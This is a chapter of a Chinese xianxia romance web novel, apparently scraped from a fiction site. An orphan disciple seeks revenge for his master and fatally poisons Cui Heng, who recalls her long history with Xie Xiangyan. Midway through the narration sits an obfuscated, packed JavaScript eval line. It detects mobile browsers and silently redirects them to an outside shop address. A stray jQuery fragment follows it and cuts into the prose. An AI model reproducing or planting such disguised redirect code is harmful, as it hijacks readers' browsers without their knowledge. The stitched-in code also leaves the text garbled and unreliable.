文趣网 > 其他小说 > 明月载我心 > 48. 长剑
    就在崔珩以为东官郡之事已经翻篇的时候,近来却发生了一件怪事。

    某日谢慕真外出除妖,只留崔珩独自一人在家,她正敞着院门坐在院中择菜,却发现有个身形瘦小的男子在院外徘徊,还不断地往院中张望。此人阴沉着脸,眼神瘆人,崔珩本想出言询问,可那人在见到她后却头也不回地跑了。现下世道本就不太平,崔珩心头发怵,便只好白日剑不离手,哪怕是夜里也会拿把剑放在枕边。

    又过了几天,谢慕真回来了,崔珩这才松了口气。

    高云已经死了有段时间了,那些扬言要找出凶手,为他讨回公道的弟子们,早就放弃了这没有意义的复仇,可唯独一人却从未停下脚步。他叫阿黎,因为是个孤儿,所以没有姓氏。阿黎是被高云从桥洞下捡回无量山的,他虽然从未正式收阿黎为徒,可他在阿黎的眼中却早已是亦师亦父的存在。

    阿黎刚上山时,总是能听到高云提起一个叫谢相言的人,高云说那谢相言为人狂傲,性子张扬,还嘱咐他一定要认真修炼,终有一日要压过谢相言一头。

    哪怕阿黎从未见过谢相言,为了这句话,他每日天不亮便开始练剑,一直到月亮升起才休息。可不知为何,每次练剑的时候,有个叫袁翡的师姐总是怜悯地看着他。后来阿黎才知道,原来在别人的眼中,他从来都不是高云悉心培养的弟子,他只是个工具,他存在的唯一意义便是有朝一日能超过谢相言,让高云能出口恶气。

    可他上山不过半年,谢相言便被赶下了山。自那以后,高云再也无心教导他,也不再对他寄予半分期许。

    哪怕只得了六个月的教导,阿黎却依旧很感激高云,若是没有他,自己早就死在桥洞下了,又怎能有机会成为一名修士。正因如此,在听到高云身死的那个瞬间,他便立刻决定要为高云报仇。

    他独自一人从千里之外的无量山赶到东官郡,又在林中找了许久的线索,明明希望渺茫,可他却还是一遍又一遍地搜查着林中的每一寸土地。

    终于,他在一棵树的树干上发现了一道剑痕,这剑痕深处藏着一缕极浅的剑气,想必定是一把绝世好剑留下的,任凭风吹雨打都无法将那剑气全部抹去。于是,他便又循着这缕浅淡的剑气追到了广陵。

    广陵城这么大,他光是挨家挨户排查便用了两个月,可功夫不负有心人,最后他总算在一处不起眼的小宅院中感知到了那缕剑气。他在院外徘徊多日,却只看到一个红衣女子整日呆在院中。只是这女子手边总摆着把普普通通的铁剑,这样的剑,是留不下那般凌厉的剑气的。

    阿黎又在附近守了数日。前日他藏在巷口暗处,看到一个黑衣少年风尘仆仆地进了院子,少年背着把品相不俗的长剑,可阿黎却不知这是不是自己要找的那把剑。他拿不定主意,又徘徊了两日,总算是鼓起勇气敲了敲门,开门的正是他那日见到的黑衣少年。

    谢慕真方才正在练剑,见眼前这瘦小的修士光是敲门,可门开了之后却什么也不说,只是愣愣地看着自己,便皱了皱眉问道:“有什么事吗?”

    阿黎没有见过高云口中的谢相言,他不知道这黑衣少年是谁,可由于二人离得近,他立刻便感知到了那把赤红长剑上附着的剑气,于是二话不说便提剑朝谢慕真砍去。

    阿黎天资极佳,可苦于无人教导,于是修为便也只能算平平无奇,谢慕真虽不是修道之人,但他身经百战,剑术高超,在他的面前,阿黎使的那些招数便有些不够看了。

    不过数招,阿黎便被谢慕真死死压制住。谢慕真一把夺过他手中那把不起眼的小剑,又用手中长剑抵着他的喉咙,冷声问道:“无量山的弟子?”

    阿黎没回答,他咬了咬牙,恨恨地问道:“是你杀了高云?”

    他接着道:“他是去东官郡剿匪的,明明是为百姓做好事,你为什么要杀他?”

    听到高云的名字,谢慕真的眼中闪过一丝冷意,他将长剑又往前送了一些:“你是为他而来?”

    锋利的剑刃划破了阿黎的皮肤,疼得他眼泪都出来了。他下意识地想跑,可一想到自己是来报仇的,便偷偷地单手取出了袖袋中的一个小盒子。这小盒子中装着一枚毒针,是他平日里保命用的。哪怕今日他死在这里,也绝对不会放过这黑衣少年。

    崔珩本是在屋内休息,听到外面的争吵声,便提剑走了出来。余光瞥见了她的身影,谢慕真不愿再与阿黎纠缠,他手腕用力,一剑刺穿了阿黎的喉咙。

    此人毕竟是来复仇的,若是放过他,只会徒生事端,不如斩草除根。

    阿黎喉咙一凉,随后便传来一阵剧痛,身体也控制不住地向后仰去。他看着眼前的黑衣少年,本是想将那毒针对着他射出,可不知为何,他心念一转,又对准了那个红衣女子。

    他只有一枚毒针,若是被这少年拿剑挡开,那这针便白白浪费了。可那女子看起来有些羸弱,不像是会武功的样子,若是将这毒针用到她身上,起码还能拉一个陪葬的。

    想到这里,阿黎用尽浑身力气将毒针射出,随后便眼前一黑,没了意识。

    崔珩一眼便认出了门口那瘦小的修士,此人在附近徘徊多日,显然是蓄谋已久,她本是想提醒谢慕真多加小心,可话还没说出口,眼前便银光一闪。

    崔珩反应极快,立刻抬剑去挡,可寻常的铁剑又怎能挡得住仙门暗器?只听“叮”的一声,本就脆弱不堪的铁剑竟生生被毒针的力道击碎,剑身断成了几节,毒针也直直刺入了崔珩的肩膀。

    这针上的毒发作极快,毒素顺着血液传至全身,不到几息崔珩便觉得手脚发麻,眼前发黑。

    她愣愣地望着手中握着的残剑,想着自己竟然忘记了,那把赤色长剑她早就还给谢慕真了,今日她顺手拿的只是一把普通的铁剑。

    谢慕真一脚踹开那个修士,快步朝崔珩走来。崔珩看着他惨白的脸和焦急的神情,觉得这回自己应该是真的要死了,不然为什么谢慕真急成这个样子。

    崔珩最终还是支撑不住倒了下去,可是预想中的疼痛却没有袭来,谢慕真接住了她。他低头看着崔珩,黑而柔软的发丝拂过脸侧,像是柳枝轻扫过湖面,崔珩记得第一次在无量山见到他时,他便是这副模样。

    崔珩心跳得很快,她呼吸急促,还有些头晕恶心。她不怕死,可她怕谢慕真不放她走,她怕谢慕真故技重施,再一次地让她死而复生,可她这具残破的身体已经经不起折腾了。

    她太了解他了,所以她才怕。

    崔珩的眼神有些涣散,她盯着惊慌失措的谢慕真看了许久,忽然说道:“谢相言,你演技真差。”

    听到这个熟悉的名字,谢慕真猛地一僵,他看着崔珩,眼中尽是不可置信。

    崔珩的喉头涌上一股腥甜,她吐出一口血来,然后又接连吐了好多好多血。

    之前在东官郡那日,她将谢慕真放在板车上,拖着他在林中行走。恍惚间,她好像又听到谢慕真叫她阿珩。她本是想纠正他,可当她回头看向谢慕真的那一刻,却透过他看到了另一个人。

    谢慕真以为自己伪装的很好,可现下想来,简直是漏洞百出。不过她也着实是好糊弄,竟然信了这么久。

    感受到落在脸上的泪水,崔珩突然觉得有些好笑,第一次相见时,眼前的少年明明是想杀了她的,可现在她马上就要死了,他却哭得这么狼狈。

    崔珩目光涣散,声音小得几乎听不清。她断断续续地说道:“你当初……不是想一剑捅死我吗,现在我要死了,你应该高兴才对。”

    谢慕真眼角泛红,眼中充满恐惧与绝望,他攥住崔珩冰冷的手,带着哭腔低吼:“你闭嘴!”

    他像是在说服自己一般,一遍又一遍地重复着:“你不会死的,我带你去找大夫,一定会有办法的。”

    “你不是要教我练剑吗,你不是说好要一直陪着我吗?明明都答应过我了,你不能食言。”

    “你不准死,你若是死了,我便去杀人,去攒生魂,哪怕是恨我也好,怨我也好,你就算死一千次一万次,我也会让你回来!”

    “崔珩。”他叫她名字的时候,声音似乎轻颤了一下。

    “别抛下我。”

    他说:“你若是死了,我便跟你一起死。”

    崔珩没有力气再与他争辩,于是便只能摇了摇头,她知道谢慕真懂她的意思。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17697842|206683||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    不要再让她死而复生,不要跟她一起去死,好好活着。

    眼前阵阵发黑,崔珩已经看不清谢慕真的脸了。她用尽全身的力气,小声说道:“之前……一直没有回答你的问题……”

    “我后来想了很久……觉得应当是有的。”

    “晚了这么久回答你,你……不要生气。”说完之后,崔珩松了一口气。

    谢慕真愣了一瞬,他眼中一片茫然,哽咽地问道:“什么问题?”

    崔珩没有说话,她扯出一个带些稚气的笑,抬起满是鲜血的手,轻轻抚上谢慕真眼下那颗泪痣,在他的脸上留下一抹血痕。

    作为一个穿越人士,别人是事业爱情双丰收,一路上凭借系统异能金手指顺风顺水,她却既没钱又没运气,明明今日只是出来看个热闹,竟然还被暗杀了。

    刚到这个世界的时候,她见到的第一个人便是谢相言,没想到最后也是死在他的怀里,现下想来,二人着实是有缘分。

    最开始,谢相言是不苟言笑的师尊,而她是一个毫无慧根的小弟子,每日拿着把剑在院中一练就是一整天。

    后来,她又成了赵府的婢女,他是陈郡谢家的小郎君。二人时常偷偷溜出府,一起读书,习字,或者一起吃些甜腻的糕点。

    可造化弄人,再次醒来后,她变得人不人鬼不鬼的,谢相言也从无量山的天之骄子变成了宗门的罪人,他们互相猜忌,明明离得很近,心却很远。

    兜兜转转到最后,她成了师父,谢相言反倒是成了她的小徒弟。

    也许这就是人们口中的命运,二人分分合合,几番周折,最后却依旧陪在彼此身边。

    说来也奇怪,崔珩明明有无数次的机会杀了谢相言,可她却一次又一次地放过了他,至于原因,连她自己都不太清楚。

    还在临川的时候,谢相言曾问过她:“我们相爱过吗?”

    这问题实在是太难了,难得崔珩想了好久才得出答案,她觉得应当是有的。只是真心早就被二人间的恩怨层层包裹,藏得太深,连她自己都分不清了。

    也许这便是她没有对谢相言下手的原因之一。而另一个原因,则是她亲眼见识过谢相言这一路的颠沛流离。

    她还记得谢相言小时候的样子,她心疼那个总是站在角落里的、沉默寡言的孩子。

    生母对他冷眼相待,谢府中随便一个下人都可以肆意欺辱他,以至于成了谢慕真之后,哪怕崔珩只是给他买了一碗酥酪,他都会露出受宠若惊的表情。

    六岁那年,他好不容易离开了陈郡,本以为能在无量山上寻得一处清净。可刚上山那几年,师兄们却又都排挤他,对他处处刁难。

    杀了魏拙后,他背负一身骂名,原本天资极佳的少年,却废去一身修为,狼狈地被赶下了山。

    再然后,他等了崔珩十二年。这十二年想来应该是一段很漫长的时光,换来的却是被一剑刺穿胸膛。

    崔珩突然觉得,幸好自己将那把赤红长剑还给了谢相言,不然今日死的说不定就是他了。他曾经过得那么苦,自己好不容易将他再次养大,若是就这么草率地死掉,那可真是对不起这些年耗费的心力。

    谢相言之前用的铁剑实在是太烂了,一根毒针就能戳碎,拿它行走江湖是肯定不行的。崔珩本来心心念念要给他买把好剑,她想了好久,也攒了很久的钱,甚至这事都快成心病了。

    别人家的孩子若是在剑术上显现出半分天赋,家中长辈便一定会为其寻一把好剑,可谢相言明明天资极佳,却只能日复一日挥舞着一把破铁剑。崔珩总觉得亏欠了他,于是便又把那赤色长剑还给了他。

    还在陈郡的时候谢相言说爱她,他递给了她一把刀,能肆意伤害他的刀。

    而如今她还他一把剑,一把很好很好的剑。它被谢相言从龙泉带去了无量山,然后随她一起去了很多地方。这把剑很轻,握在手中像是轻飘飘的云,剑刃很锋利,能一下就劈开妖兽的脑袋,这一切都是他原本那把铁剑不能比的。

    今后无论去哪里,只要拿着这把剑,谢相言便再也不会受到伤害。

    她庆幸这把剑最后在他手中。